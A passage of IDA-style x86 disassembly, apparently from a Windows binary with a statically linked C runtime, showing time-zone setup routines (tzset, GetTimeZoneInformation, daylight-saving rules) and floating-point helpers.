		lea	edx, [ebp+var_14]
		push	edx
		call	sub_42E5E0
		add	esp, 4
		mov	ax, word ptr [ebp+var_30]
		sub	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_4317EE
; ---------------------------------------------------------------------------


loc_43181D:				; CODE XREF: sub_431540+2B4j
					; sub_431540+2C1j
		movsx	ecx, word ptr [ebp+var_30]
		test	ecx, ecx
		jg	short loc_43187D
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 1
		mov	word ptr [ebp+var_30], dx


loc_431831:				; CODE XREF: sub_431540+32Aj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jge	short loc_43186C
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFh
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_431852
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_431852:				; CODE XREF: sub_431540+307j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_42E640
		add	esp, 4
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		jmp	short loc_431831
; ---------------------------------------------------------------------------


loc_43186C:				; CODE XREF: sub_431540+2F7j
		cmp	[ebp+var_4], 0
		jz	short loc_43187D
		mov	dx, word ptr [ebp+var_14]
		or	dl, 1
		mov	word ptr [ebp+var_14], dx


loc_43187D:				; CODE XREF: sub_431540+2E3j
					; sub_431540+330j
		mov	eax, [ebp+var_14]
		and	eax, 0FFFFh
		cmp	eax, 8000h
		jg	short loc_43189D
		mov	ecx, [ebp+var_14]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_4318FE


loc_43189D:				; CODE XREF: sub_431540+34Aj
		cmp	[ebp+var_14+2],	0FFFFFFFFh
		jnz	short loc_4318F5
		mov	[ebp+var_14+2],	0
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_4318EA
		mov	[ebp+var_10+2],	0
		mov	edx, [ebp+var_C+2]
		and	edx, 0FFFFh
		cmp	edx, 0FFFFh
		jnz	short loc_4318DC
		mov	word ptr [ebp+var_C+2],	8000h
		mov	ax, word ptr [ebp+var_30]
		add	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_4318E8
; ---------------------------------------------------------------------------


loc_4318DC:				; CODE XREF: sub_431540+386j
		mov	cx, word ptr [ebp+var_C+2]
		add	cx, 1
		mov	word ptr [ebp+var_C+2],	cx


loc_4318E8:				; CODE XREF: sub_431540+39Aj
		jmp	short loc_4318F3
; ---------------------------------------------------------------------------


loc_4318EA:				; CODE XREF: sub_431540+36Ej
		mov	edx, [ebp+var_10+2]
		add	edx, 1
		mov	[ebp+var_10+2],	edx


loc_4318F3:				; CODE XREF: sub_431540:loc_4318E8j
		jmp	short loc_4318FE
; ---------------------------------------------------------------------------


loc_4318F5:				; CODE XREF: sub_431540+361j
		mov	eax, [ebp+var_14+2]
		add	eax, 1
		mov	[ebp+var_14+2],	eax


loc_4318FE:				; CODE XREF: sub_431540+35Bj
					; sub_431540:loc_4318F3j
		mov	ecx, [ebp+var_30]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jl	short loc_431943
		mov	edx, [ebp+var_2C]
		and	edx, 0FFFFh
		neg	edx
		sbb	edx, edx
		and	edx, 80000000h
		add	edx, 7FFF8000h
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	short loc_431979
; ---------------------------------------------------------------------------


loc_431943:				; CODE XREF: sub_431540+3CDj
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+var_14+2]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_10]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax


loc_431979:				; CODE XREF: sub_431540+EFj
					; sub_431540+122j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431980	proc near		; CODE XREF: sub_42E7F0+914p
					; sub_42F370+288p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, offset dword_448458
		sub	eax, 60h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 0
		jnz	short loc_43199C
		jmp	loc_431A3F
; ---------------------------------------------------------------------------


loc_43199C:				; CODE XREF: sub_431980+15j
		cmp	[ebp+arg_4], 0
		jge	short loc_4319B5
		mov	ecx, [ebp+arg_4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		mov	edx, offset dword_4485B8
		sub	edx, 60h
		mov	[ebp+var_4], edx


loc_4319B5:				; CODE XREF: sub_431980+20j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4319C3
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_4319C3:				; CODE XREF: sub_431980+39j
					; sub_431980+6Aj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_431A3F
		mov	ecx, [ebp+var_4]
		add	ecx, 54h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 7
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_4]
		sar	eax, 3
		mov	[ebp+arg_4], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_4319EC
		jmp	short loc_4319C3
; ---------------------------------------------------------------------------


loc_4319EC:				; CODE XREF: sub_431980+68j
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 8000h
		jl	short loc_431A2D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_14], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_10], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14+2]
		sub	eax, 1
		mov	[ebp+var_14+2],	eax
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx


loc_431A2D:				; CODE XREF: sub_431980+88j
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431540
		add	esp, 8
		jmp	short loc_4319C3
; ---------------------------------------------------------------------------


loc_431A3F:				; CODE XREF: sub_431980+17j
					; sub_431980+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A50	proc near		; CODE XREF: sub_430010:loc_43052Bp
		push	ebp
		mov	ebp, esp
		cmp	dword_4DE2F8, 0
		jnz	short loc_431A8B
		push	0Bh
		call	sub_41BC80
		add	esp, 4
		cmp	dword_4DE2F8, 0
		jnz	short loc_431A81
		call	sub_431AB0
		mov	eax, dword_4DE2F8
		add	eax, 1
		mov	dword_4DE2F8, eax


loc_431A81:				; CODE XREF: sub_431A50+1Dj
		push	0Bh
		call	sub_41BD20
		add	esp, 4


loc_431A8B:				; CODE XREF: sub_431A50+Aj
		pop	ebp
		retn
sub_431A50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0Bh
		call	sub_41BC80
		add	esp, 4
		call	sub_431AB0
		push	0Bh
		call	sub_41BD20
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431AB0	proc near		; CODE XREF: sub_431A50+1Fp
					; .data:00431A9Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		push	0Ch
		call	sub_41BC80
		add	esp, 4
		mov	dword_4DE240, 0
		mov	dword_448448, 0FFFFFFFFh
		mov	eax, dword_448448
		mov	dword_448438, eax
		push	offset aTz	; "TZ"
		call	sub_432710
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	loc_431C33
		push	0Ch
		call	sub_41BD20
		add	esp, 4
		push	offset dword_4DE248
		call	dword_4E02E0	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	loc_431C2E
		mov	dword_4DE240, 1
		mov	ecx, dword_4DE248
		imul	ecx, 3Ch
		mov	dword_4483A0, ecx
		xor	edx, edx
		mov	dx, word_4DE28E
		test	edx, edx
		jz	short loc_431B59
		mov	eax, dword_4DE29C
		imul	eax, 3Ch
		mov	ecx, dword_4483A0
		add	ecx, eax
		mov	dword_4483A0, ecx


loc_431B59:				; CODE XREF: sub_431AB0+91j
		xor	edx, edx
		mov	dx, word_4DE2E2
		test	edx, edx
		jz	short loc_431B8E
		cmp	dword_4DE2F0, 0
		jz	short loc_431B8E
		mov	dword_4483A4, 1
		mov	eax, dword_4DE2F0
		sub	eax, dword_4DE29C
		imul	eax, 3Ch
		mov	dword_4483A8, eax
		jmp	short loc_431BA2
; ---------------------------------------------------------------------------


loc_431B8E:				; CODE XREF: sub_431AB0+B4j
					; sub_431AB0+BDj
		mov	dword_4483A4, 0
		mov	dword_4483A8, 0


loc_431BA2:				; CODE XREF: sub_431AB0+DCj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		push	3Fh
		mov	edx, off_44842C
		push	edx
		push	0FFFFFFFFh
		push	offset dword_4DE24C
		push	220h
		mov	eax, dword_4DE084
		push	eax
		call	dword_4E0424	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_431BDF
		cmp	[ebp+var_8], 0
		jnz	short loc_431BDF
		mov	ecx, off_44842C
		mov	byte ptr [ecx+3Fh], 0
		jmp	short loc_431BE8
; ---------------------------------------------------------------------------


loc_431BDF:				; CODE XREF: sub_431AB0+11Bj
					; sub_431AB0+121j
		mov	edx, off_44842C
		mov	byte ptr [edx],	0


loc_431BE8:				; CODE XREF: sub_431AB0+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	3Fh
		mov	ecx, off_448430
		push	ecx
		push	0FFFFFFFFh
		push	offset dword_4DE2A0
		push	220h
		mov	edx, dword_4DE084
		push	edx
		call	dword_4E0424	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_431C25
		cmp	[ebp+var_8], 0
		jnz	short loc_431C25
		mov	eax, off_448430
		mov	byte ptr [eax+3Fh], 0
		jmp	short loc_431C2E
; ---------------------------------------------------------------------------


loc_431C25:				; CODE XREF: sub_431AB0+162j
					; sub_431AB0+168j
		mov	ecx, off_448430
		mov	byte ptr [ecx],	0


loc_431C2E:				; CODE XREF: sub_431AB0+67j
					; sub_431AB0+173j
		jmp	loc_431E57
; ---------------------------------------------------------------------------


loc_431C33:				; CODE XREF: sub_431AB0+49j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_431C5D
		cmp	dword_4DE2F4, 0
		jz	short loc_431C6C
		mov	ecx, dword_4DE2F4
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jnz	short loc_431C6C


loc_431C5D:				; CODE XREF: sub_431AB0+18Bj
		push	0Ch
		call	sub_41BD20
		add	esp, 4
		jmp	loc_431E57
; ---------------------------------------------------------------------------


loc_431C6C:				; CODE XREF: sub_431AB0+194j
					; sub_431AB0+1ABj
		push	2
		mov	eax, dword_4DE2F4
		push	eax
		call	sub_415C60
		add	esp, 8
		push	10Ch
		push	offset aTzset_c	; "tzset.c"
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_4150C0
		add	esp, 10h
		mov	dword_4DE2F4, eax
		cmp	dword_4DE2F4, 0
		jnz	short loc_431CBD
		push	0Ch
		call	sub_41BD20
		add	esp, 4
		jmp	loc_431E57
; ---------------------------------------------------------------------------


loc_431CBD:				; CODE XREF: sub_431AB0+1FCj
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, dword_4DE2F4
		push	eax
		call	sub_418870
		add	esp, 8
		push	0Ch
		call	sub_41BD20
		add	esp, 4
		push	3
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, off_44842C
		push	edx
		call	sub_417760
		add	esp, 0Ch
		mov	eax, off_44842C
		mov	byte ptr [eax+3], 0
		mov	ecx, [ebp+var_C]
		add	ecx, 3
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_431D1D
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_431D1D:				; CODE XREF: sub_431AB0+259j
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_417860
		add	esp, 4
		imul	eax, 0E10h
		mov	dword_4483A0, eax


loc_431D34:				; CODE XREF: sub_431AB0+2AEj
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Bh
		jz	short loc_431D55
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_431D60
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_431D60


loc_431D55:				; CODE XREF: sub_431AB0+28Dj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_431D34
; ---------------------------------------------------------------------------


loc_431D60:				; CODE XREF: sub_431AB0+298j
					; sub_431AB0+2A3j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Ah
		jnz	loc_431E05
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_417860
		add	esp, 4
		imul	eax, 3Ch
		mov	ecx, dword_4483A0
		add	ecx, eax
		mov	dword_4483A0, ecx


loc_431D95:				; CODE XREF: sub_431AB0+304j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_431DB6
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_431DB6
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_431D95
; ---------------------------------------------------------------------------


loc_431DB6:				; CODE XREF: sub_431AB0+2EEj
					; sub_431AB0+2F9j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Ah
		jnz	short loc_431E05
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_417860
		add	esp, 4
		mov	edx, dword_4483A0
		add	edx, eax
		mov	dword_4483A0, edx


loc_431DE4:				; CODE XREF: sub_431AB0+353j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_431E05
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_431E05
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_431DE4
; ---------------------------------------------------------------------------


loc_431E05:				; CODE XREF: sub_431AB0+2B9j
					; sub_431AB0+30Fj ...
		cmp	[ebp+var_4], 0
		jz	short loc_431E19
		mov	edx, dword_4483A0
		neg	edx
		mov	dword_4483A0, edx


loc_431E19:				; CODE XREF: sub_431AB0+359j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		mov	dword_4483A4, ecx
		cmp	dword_4483A4, 0
		jz	short loc_431E4E
		push	3
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, off_448430
		push	eax
		call	sub_417760
		add	esp, 0Ch
		mov	ecx, off_448430
		mov	byte ptr [ecx+3], 0
		jmp	short loc_431E57
; ---------------------------------------------------------------------------


loc_431E4E:				; CODE XREF: sub_431AB0+37Cj
		mov	edx, off_448430
		mov	byte ptr [edx],	0


loc_431E57:				; CODE XREF: sub_431AB0:loc_431C2Ej
					; sub_431AB0+1B7j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431AB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Bh
		call	sub_41BC80
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_431E90
		add	esp, 4
		mov	[ebp-4], eax
		push	0Bh
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431E90	proc near		; CODE XREF: .data:00431E72p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4483A4, 0
		jnz	short loc_431EA4
		xor	eax, eax
		jmp	loc_432186
; ---------------------------------------------------------------------------


loc_431EA4:				; CODE XREF: sub_431E90+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, dword_448438
		jnz	short loc_431EC4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, dword_448448
		jz	loc_43208B


loc_431EC4:				; CODE XREF: sub_431E90+20j
		cmp	dword_4DE240, 0
		jz	loc_432045
		xor	ecx, ecx
		mov	cx, word_4DE2E0
		test	ecx, ecx
		jnz	short loc_431F39
		xor	edx, edx
		mov	dx, word_4DE2EE
		push	edx
		xor	eax, eax
		mov	ax, word_4DE2EC
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DE2EA
		push	ecx
		xor	edx, edx
		mov	dx, word_4DE2E8
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4DE2E4
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DE2E6
		push	ecx
		xor	edx, edx
		mov	dx, word_4DE2E2
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	sub_432190
		add	esp, 2Ch
		jmp	short loc_431F8A
; ---------------------------------------------------------------------------


loc_431F39:				; CODE XREF: sub_431E90+4Cj
		xor	edx, edx
		mov	dx, word_4DE2EE
		push	edx
		xor	eax, eax
		mov	ax, word_4DE2EC
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DE2EA
		push	ecx
		xor	edx, edx
		mov	dx, word_4DE2E8
		push	edx
		xor	eax, eax
		mov	ax, word_4DE2E6
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4DE2E2
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	sub_432190
		add	esp, 2Ch


loc_431F8A:				; CODE XREF: sub_431E90+A7j
		xor	ecx, ecx
		mov	cx, word_4DE28C
		test	ecx, ecx
		jnz	short loc_431FF2
		xor	edx, edx
		mov	dx, word_4DE29A
		push	edx
		xor	eax, eax
		mov	ax, word_4DE298
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DE296
		push	ecx
		xor	edx, edx
		mov	dx, word_4DE294
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4DE290
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DE292
		push	ecx
		xor	edx, edx
		mov	dx, word_4DE28E
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_432190
		add	esp, 2Ch
		jmp	short loc_432043
; ---------------------------------------------------------------------------


loc_431FF2:				; CODE XREF: sub_431E90+105j
		xor	edx, edx
		mov	dx, word_4DE29A
		push	edx
		xor	eax, eax
		mov	ax, word_4DE298
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DE296
		push	ecx
		xor	edx, edx
		mov	dx, word_4DE294
		push	edx
		xor	eax, eax
		mov	ax, word_4DE292
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4DE28E
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	sub_432190
		add	esp, 2Ch


loc_432043:				; CODE XREF: sub_431E90+160j
		jmp	short loc_43208B
; ---------------------------------------------------------------------------


loc_432045:				; CODE XREF: sub_431E90+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	sub_432190
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_432190
		add	esp, 2Ch


loc_43208B:				; CODE XREF: sub_431E90+2Ej
					; sub_431E90:loc_432043j
		mov	edx, dword_44843C
		cmp	edx, dword_44844C
		jge	short loc_4320E4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_44843C
		jl	short loc_4320B5
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_44844C
		jle	short loc_4320BC


loc_4320B5:				; CODE XREF: sub_431E90+215j
		xor	eax, eax
		jmp	loc_432186
; ---------------------------------------------------------------------------


loc_4320BC:				; CODE XREF: sub_431E90+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_44843C
		jle	short loc_4320E2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_44844C
		jge	short loc_4320E2
		mov	eax, 1
		jmp	loc_432186
; ---------------------------------------------------------------------------


loc_4320E2:				; CODE XREF: sub_431E90+238j
					; sub_431E90+246j
		jmp	short loc_432127
; ---------------------------------------------------------------------------


loc_4320E4:				; CODE XREF: sub_431E90+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_44844C
		jl	short loc_432100
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_44843C
		jle	short loc_432107


loc_432100:				; CODE XREF: sub_431E90+260j
		mov	eax, 1
		jmp	short loc_432186
; ---------------------------------------------------------------------------


loc_432107:				; CODE XREF: sub_431E90+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_44844C
		jle	short loc_432127
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_44843C
		jge	short loc_432127
		xor	eax, eax
		jmp	short loc_432186
; ---------------------------------------------------------------------------


loc_432127:				; CODE XREF: sub_431E90:loc_4320E2j
					; sub_431E90+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_44843C
		jnz	short loc_432172
		mov	eax, [ebp+var_4]
		cmp	eax, dword_448440
		jl	short loc_43216E
		mov	eax, 1
		jmp	short loc_432186
; ---------------------------------------------------------------------------


loc_43216E:				; CODE XREF: sub_431E90+2D5j
		xor	eax, eax
		jmp	short loc_432186
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: sub_431E90+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_448450
		jge	short loc_432184
		mov	eax, 1
		jmp	short loc_432186
; ---------------------------------------------------------------------------


loc_432184:				; CODE XREF: sub_431E90+2EBj
		xor	eax, eax


loc_432186:				; CODE XREF: sub_431E90+Fj
					; sub_431E90+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432190	proc near		; CODE XREF: sub_431E90+9Fp
					; sub_431E90+F2p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 1
		jnz	loc_43226C
		mov	eax, [ebp+arg_8]
		and	eax, 3
		test	eax, eax
		jnz	short loc_4321B9
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_448710[ecx*4]
		mov	[ebp+var_C], edx
		jmp	short loc_4321C6
; ---------------------------------------------------------------------------


loc_4321B9:				; CODE XREF: sub_432190+18j
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_448744[eax*4]
		mov	[ebp+var_C], ecx


loc_4321C6:				; CODE XREF: sub_432190+27j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_8]
		sub	eax, 46h
		imul	eax, 16Dh
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		sar	edx, 2
		lea	eax, [ecx+edx-0Dh]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_14]
		jg	short loc_432219
		mov	eax, [ebp+arg_14]
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_10]
		sub	ecx, 1
		imul	ecx, 7
		add	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_43222D
; ---------------------------------------------------------------------------


loc_432219:				; CODE XREF: sub_432190+6Ej
		mov	edx, [ebp+arg_14]
		sub	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		imul	eax, 7
		add	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_43222D:				; CODE XREF: sub_432190+87j
		cmp	[ebp+arg_10], 5
		jnz	short loc_43226A
		mov	ecx, [ebp+arg_8]
		and	ecx, 3
		test	ecx, ecx
		jnz	short loc_43224C
		mov	edx, [ebp+arg_C]
		mov	eax, dword_448714[edx*4]
		mov	[ebp+var_10], eax
		jmp	short loc_432259
; ---------------------------------------------------------------------------


loc_43224C:				; CODE XREF: sub_432190+ABj
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_448748[ecx*4]
		mov	[ebp+var_10], edx


loc_432259:				; CODE XREF: sub_432190+BAj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jle	short loc_43226A
		mov	ecx, [ebp+var_8]
		sub	ecx, 7
		mov	[ebp+var_8], ecx


loc_43226A:				; CODE XREF: sub_432190+A1j
					; sub_432190+CFj
		jmp	short loc_4322A1
; ---------------------------------------------------------------------------


loc_43226C:				; CODE XREF: sub_432190+Aj
		mov	edx, [ebp+arg_8]
		and	edx, 3
		test	edx, edx
		jnz	short loc_432285
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_448710[eax*4]
		mov	[ebp+var_14], ecx
		jmp	short loc_432292
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_432190+E4j
		mov	edx, [ebp+arg_C]
		mov	eax, dword_448744[edx*4]
		mov	[ebp+var_14], eax


loc_432292:				; CODE XREF: sub_432190+F3j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_18]
		mov	[ebp+var_8], edx


loc_4322A1:				; CODE XREF: sub_432190:loc_43226Aj
		cmp	[ebp+arg_0], 1
		jnz	short loc_4322E1
		mov	eax, [ebp+var_8]
		mov	dword_44843C, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_448440, ecx
		mov	edx, [ebp+arg_8]
		mov	dword_448438, edx
		jmp	loc_432384
; ---------------------------------------------------------------------------


loc_4322E1:				; CODE XREF: sub_432190+115j
		mov	eax, [ebp+var_8]
		mov	dword_44844C, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
